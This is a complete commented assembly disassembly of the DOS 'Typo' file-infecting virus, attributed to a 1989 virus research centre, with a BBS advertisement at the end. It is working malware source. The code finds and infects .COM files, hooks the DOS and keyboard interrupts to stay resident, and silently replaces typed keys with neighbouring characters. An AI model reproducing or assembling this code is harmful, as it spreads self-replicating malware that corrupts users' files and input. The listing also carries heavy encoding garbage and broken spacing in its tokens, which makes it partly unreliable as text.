2022-08-21 09:07:57 +00:00
page 65 , 132
title The 'Typo' Virus
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͻ
; <20> British Computer Virus Research Centre <20>
; <20> 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England <20>
; <20> Telephone: Domestic 0273-26105, International +44-273-26105 <20>
; <20> <20>
; <20> The 'Typo' Virus <20>
; <20> Disassembled by Joe Hirst, October 1989 <20>
; <20> <20>
; <20> Copyright (c) Joe Hirst 1989. <20>
; <20> <20>
; <20> This listing is only to be made available to virus researchers <20>
; <20> or software writers on a need-to-know basis. <20>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͼ
VECTOR SEG MENT AT 0
; Interrupt vectors
ORG 58H
BW0058 DW ? ; Interrupt 16H offset
BW005A DW ? ; Interrupt 16H segment
ORG 80H
BW0080 DW ? ; Interrupt 20H offset
BW0082 DW ? ; Interrupt 20H segment
BW0084 DW ? ; Interrupt 21H offset
BW0086 DW ? ; Interrupt 21H segment
VECTOR ENDS
RAM SEG MENT AT 400H
; System data
ORG 6CH
BW046C DW ? ; System clock
RAM ENDS
HOST SEG MENT AT 0
ORG 2CH
DW 002 C DW ?
ORG 0D0H
DW00D0 EQU THIS WORD
DB 00 D0 DB ?
ORG 100H
DB 0100 DB ?
DW 0101 DW ?
HOST ENDS
CODE SEG MENT BYTE PUBLIC 'CODE'
ASSUME CS : CODE , DS : HOST
DB 'V1' ; Signature
DB 0E9H , 1 , 0 ; Jump for start of host
DB '*.COM' , 0 ; File spec for infection
DB 0CEH , 0CDH , 20H ; File start read buffer
DB 'V1' ; Signature test read buffer
DW 5 ; File handle
DB 0CDH , 20H , 90H ; Start of host
DB 0
DW 5AH ; Generation count
DB 0
; Entry point
START: PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH CS
POP DS
CALL BP 0024 ; \ Get current address
BP0024: POP SI ; /
SUB SI , 24H ; Relocate from start of virus
DEC WORD PTR [ SI + 16H ] ; Subtract from generation count
CMP WORD PTR [ SI + 16H ], 3 ; Is generation count three?
JNE BP 0036 ; Branch if not
MOV WORD PTR [ SI + 16H ], 005BH ; Reset generation count to 91
BP0036: CALL BP 02 BE ; Test system for infection
MOV DX , 00D0H ; Temp default DTA
MOV AH , 1AH ; Set DTA function
INT 21H ; DOS service
MOV AL ,[ SI + 0BH ] ; \ Save start of host (1)
MOV [ SI + 12H ], AL ; /
MOV AX ,[ SI + 0CH ] ; \ Save start of host (2)
MOV [ SI + 13H ], AX ; /
MOV AH , 2AH ; Get date function
INT 21H ; DOS service
TEST DL , 1 ; First of month?
JNZ BP 0074 ; Branch if not
MOV DX , SI ; \ Address '*.COM'
ADD DX , 5 ; /
nop
XOR CX , CX ; No attributes
MOV AH , 4EH ; Find first file function
INT 21H ; DOS service
JB BP 0074 ; Branch if not found
BP0063: CALL BP 0092 ; Test for infection
MOV DX , SI ; \ Address '*.COM'
ADD DX , 5 ; /
nop
XOR CX , CX ; No attributes
MOV AH , 4FH ; Find next file function
INT 21H ; DOS service
JNB BP 0063 ; Branch if found
BP0074: MOV AL ,[ SI + 12H ] ; \ Restore start of host (1)
MOV DB0100 , AL ; /
MOV AX ,[ SI + 13H ] ; \ Restore start of host (2)
MOV DW0101 , AX ; /
MOV DX , 0080H ; Original default DTA
MOV AH , 1AH ; Set DTA function
INT 21H ; DOS service
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
MOV AX , 0100H ; \ Branch to start of host
JMP AX ; /
; Test for infection in COM file
BP0092: MOV AX , 4301H ; Set file attributes function
MOV DX , OFFSET DB00D0 + 1EH ; Address file path in DTA
XOR CX , CX ; No attributes
INT 21H ; DOS service
MOV AX , 3D02H ; Open handle (R/W) function
MOV DX , OFFSET DB00D0 + 1EH ; Address file path in DTA
INT 21H ; DOS service
JNB BP 00 A9 ; Branch if no error
JMP BP 015 D ; Return
BP00A9: MOV [ SI + 10H ], AX ; Save file handle
MOV BX , AX ; Move file handle
MOV AH , 3FH ; Read handle function
MOV CX , 3 ; Length to read
MOV DX , SI ; \ Address start-of-host store
ADD DX , 000BH ; /
nop
INT 21H ; DOS service
CMP BYTE PTR [ SI + 0BH ], 0E9H ; Is it a jump?
JNE BP 00 F1 ; Branch if not
MOV DX ,[ SI + 0CH ] ; \
SUB DX , 16H ; /
XOR CX , CX ; No high offset
MOV AX , 4200H ; Move file pointer function
MOV BX ,[ SI + 10H ] ; Get file handle
INT 21H ; DOS service
MOV BX , AX ; Move actual offset (? not used)
MOV AH , 3FH ; Read handle function
MOV CX , 2 ; Length to read
MOV DX , SI ; \ Address signature test buffer
ADD DX , 000EH ; /
nop
MOV BX ,[ SI + 10H ] ; Get file handle
INT 21H ; DOS service
JB BP 014 A ; Branch if error
CMP AX , 0 ; Did we read anything?
JE BP 00 F1 ; Branch if not
MOV AX ,[ SI + 0EH ] ; Get signature test
CMP AX ,[ SI ] ; Is it signature?
JE BP 014 A ; Branch if yes
BP00F1: XOR CX , CX ; \ No offset
XOR DX , DX ; /
MOV AX , 4202H ; Move file pointer function (EOF)
MOV BX ,[ SI + 10H ] ; Get file handle
INT 21H ; DOS service
JB BP 014 A ; Branch if error
SUB AX , 3 ; Convert length to jump offset
MOV [ SI + 3 ], AX ; Store in jump
MOV BX ,[ SI + 10H ] ; Get file handle
MOV AH , 40H ; Write handle function
MOV CX , OFFSET ENDADR ; Length of virus
NOP
MOV DX , SI ; \ Address start of virus
ADD DX , 0 ; /
nop
INT 21H ; DOS service
JB BP 014 A ; Branch if error
ADD WORD PTR [ SI + 3 ], 19H ; Add entry point offset to jump offset
XOR DX , DX ; \ No offset
XOR CX , CX ; /
MOV AX , 4200H ; Move file pointer function
MOV BX ,[ SI + 10H ] ; Get file handle
INT 21H ; DOS service
JB BP 014 A ; Branch if error
MOV BX ,[ SI + 10H ] ; Get file handle
MOV AH , 40H ; Write handle function
MOV CX , 3 ; Length of jump
MOV DX , SI ; \ Address initial jump
ADD DX , 2 ; /
nop
INT 21H ; DOS service
MOV AX , 5701H ; Set file date & time function
MOV BX ,[ SI + 10H ] ; Get file handle
MOV CX , DW00D0 + 16H ; Get file time from DTA
MOV DX , DW00D0 + 18H ; Get file date from DTA
INT 21H ; DOS service
BP014A: MOV BX ,[ SI + 10H ] ; Get file handle
MOV AH , 3EH ; Close handle function
INT 21H ; DOS service
MOV AX , 4301H ; Set file attributes function
MOV DX , OFFSET DB00D0 + 1EH ; Address file path in DTA
MOV CL , DB00D0 + 15H ; Get attributes from DTA
INT 21H ; DOS service
BP015D: RET
; Interrupt 16H routine
BP015E: STI
CMP AH , 0DDH ; Infection test function?
JNE BP 0167 ; Branch if not
MOV AL , AH ; Copy function number
IRET
BP0167: CMP AH , 0 ; Get key token?
JE BP 01 D8 ; Branch if yes
DB 0EAH ; Far jump
DW 016 D DW 0488H ; Int 16H offset
DW 016 F DW 39D8H ; Int 16H segment
DW 0171 DW 0FA76H
DW 0173 DW 0F9DCH
DW 0175 DW 005AH
DB 0177 DB 060H , 031H , 032H , 033H , 034H , 035H , 036H , 037H
DB 038H , 039H , 030H , 02DH , 03DH , 05CH , 07EH , 021H
DB 040H , 023H , 024H , 025H , 05EH , 026H , 02AH , 028H
DB 029H , 05FH , 02BH , 07CH , 071H , 077H , 065H , 072H
DB 074H , 079H , 075H , 069H , 06FH , 070H , 05BH , 05DH
DB 05BH , 061H , 073H , 064H , 066H , 067H , 068H , 06AH
DB 06BH , 06CH , 03BH , 027H , 07AH , 078H , 063H , 076H
DB 062H , 06EH , 06DH , 02CH , 02EH , 02FH , 051H , 057H
DB 045H , 052H , 054H , 059H , 055H , 049H , 04FH , 050H
DB 07BH , 07DH , 041H , 053H , 044H , 046H , 047H , 048H
DB 04AH , 04BH , 04CH , 03AH , 022H , 03BH , 05AH , 058H
DB 043H , 056H , 042H , 04EH , 04DH , 03CH , 03EH , 03FH
DB 02EH
BP01D8: PUSH SI
CALL BP 01 DC ; \ Get current address
BP01DC: POP SI ; /
PUSHF
CALL DWORD PTR CS :[ SI - 6FH ] ; Execute original BIOS call
PUSH BX
PUSH ES
MOV BX , 0040H ; \ Address system RAM
MOV ES , BX ; /
ASSUME ES : RAM
MOV BX , BW046C ; Get system clock, low word
PUSH BX
SUB BX , CS :[ SI - 6BH ] ; DW0171
CMP BX , 2
POP BX
MOV CS :[ SI - 6BH ], BX
JG BP 0236
XCHG BX , CS :[ SI - 69H ] ; DW0173
SUB BX , CS :[ SI - 69H ]
NEG BX
CMP BX , CS :[ SI - 67H ] ; DW0175
JL BP 0236
DEC WORD PTR CS :[ SI - 67H ]
CMP WORD PTR CS :[ SI - 67H ], 6
JE BP 021 E
MOV WORD PTR CS :[ SI - 67H ], 005BH
BP021E: SUB SI , 65H
PUSH CX
MOV CX , 0061H
BP0225: CMP AL , CS :[ SI ]
JE BP 0231
INC SI
LOOP BP 0225
POP CX
JMP BP 0236
BP0231: POP CX
MOV AL , CS :[ SI + 1 ]
BP0236: POP ES
POP BX
POP SI
RETF 2
; Interrupt 21H routine
ASSUME ES : NOTHING
BP023C: CMP AH , 0 ; Terminate program?
JE BP 0246 ; Branch if yes
CMP AH , 4CH ; Load?
JNE BP 025 F ; Branch if not
BP0246: CALL BP 026 D ; Install virus in memory
MOV DX , CS : DW002C ; \ Set ES to environment block
MOV ES , DX ; /
MOV BX , 0 ; Zero length
MOV AH , 4AH ; Set block function
INT 21H ; DOS service
MOV DX , 001DH ; \ Length to keep
ADD DX , 1 ; /
MOV AH , 31H ; Keep process function
BP025F: DB 0EAH ; Far jump
DW 0260 DW 2DEAH ; Int 21H offset
DW 0262 DW 4242H ; Int 21H segment
; Interrupt 20H routine
BP0264: MOV AX , 4C00H ; Fake a load
JMP BP 023 C ; Process as a DOS service
DW 0269 DW 2C08H ; Int 20H offset
DW 026 B DW 4242H ; Int 20H segment
; Install virus in memory
BP026D: PUSH CX
PUSH DI
PUSH SI
PUSH ES
CALL BP 0274 ; \ Get current address
BP0274: POP SI ; /
PUSH SI
MOV DI , 0100H ; Address start of area
MOV CX , OFFSET BP 023 C - BP 015 E ; Length to copy
BP027C: MOV AL , CS :[ SI + OFFSET BP 015 E - BP 0274 ] ; Get a byte
MOV CS :[ DI ], AL ; Store in new location
INC SI ; Next input position
INC DI ; Next output position
LOOP BP 027 C ; Repeat to end of area
POP SI
XOR CX , CX ; \ Address zero
MOV ES , CX ; /
ASSUME ES : VECTOR
MOV CX , CS :[ SI - 14H ] ; \ Restore Int 21H offset
MOV BW0084 , CX ; /
MOV CX , CS :[ SI - 12H ] ; \ Restore Int 21H segment
MOV BW0086 , CX ; /
MOV CX , CS :[ SI - 0BH ] ; \ Restore Int 20H offset
MOV BW0080 , CX ; /
MOV CX , CS :[ SI - 9 ] ; \ Restore Int 20H segment
MOV BW0082 , CX ; /
MOV CX , 0100H ; \ Install moved area as Int 16H
MOV BW0058 , CX ; /
ASSUME ES : NOTHING
POP ES
POP SI
POP DI
POP CX
RET
; Test system for infection
BP02BE: PUSH AX
XOR AL , AL ; Clear register
MOV AH , 0DDH ; Infection test function
INT 16H ; Keyboard I/O
CMP AL , AH ; Are they the same
JNE BP 02 CB ; Branch if not
POP AX
RET
; Install interrupts
BP02CB: PUSH BX
PUSH SI
PUSH ES
MOV DX ,[ SI + 16H ] ; Get generation count
CALL BP 02 D4 ; \ Get current address
BP02D4: POP SI ; /
PUSH BX
PUSH ES
MOV BX , 0040H ; \ Address system RAM
MOV ES , BX ; /
ASSUME ES : RAM
MOV BX , BW046C ; Get system clock, low word
MOV CS :[ SI + DW0171 - BP 02 D4 ], BX ; Get system clock, low word
MOV CS :[ SI + DW0173 - BP 02 D4 ], BX ; Get system clock, low word
ASSUME ES : NOTHING
POP ES
POP BX
MOV [ SI + DW0175 - BP 02 D4 ], DX ; Save generation count
XOR AX , AX ; \ Address zero
MOV ES , AX ; /
ASSUME ES : VECTOR
MOV AX , BW0084 ; \ Save Int 21H offset (DW0260)
MOV CS :[ SI - 74H ], AX ;
MOV AX , BW0086 ; \ Save Int 21H segment (DW0262)
MOV CS :[ SI - 72H ], AX ;
MOV AX , BW0058 ; \ Save Int 16H offset (DW016D)
MOV CS :[ SI + 0FE99H ], AX ; /
MOV AX , BW005A ; \ Save Int 16H segment (DW016F)
MOV CS :[ SI + 0FE9BH ], AX ; /
MOV AX , BW0080 ; \ Save Int 20H offset (DW0269)
MOV CS :[ SI - 6BH ], AX ; /
MOV AX , BW0082 ; \ Save Int 20H segment (DW026B)
MOV CS :[ SI - 69H ], AX ; /
CLI
PUSH CS ; \ Set Int 21H segment
POP BW0086 ; /
MOV BW0084 , SI ; \ Set Int 21H offset (BP023C)
SUB BW0084 , 0098H ; /
PUSH CS ; \ Set Int 20H segment
POP BW0082 ; /
MOV BW0080 , SI ; \ Set Int 20H offset (BP0264)
SUB BW0080 , 70H ; /
PUSH CS ; \ Set Int 16H segment
POP BW005A ; /
MOV BW0058 , SI ; \ Set Int 16H offset (BP015E)
SUB BW0058 , 0176H ; /
STI
ASSUME ES : NOTHING
POP ES
POP SI
POP BX
POP AX
RET
ENDADR EQU $
CODE ENDS
END
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > and Remember Don't Forget to Call <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>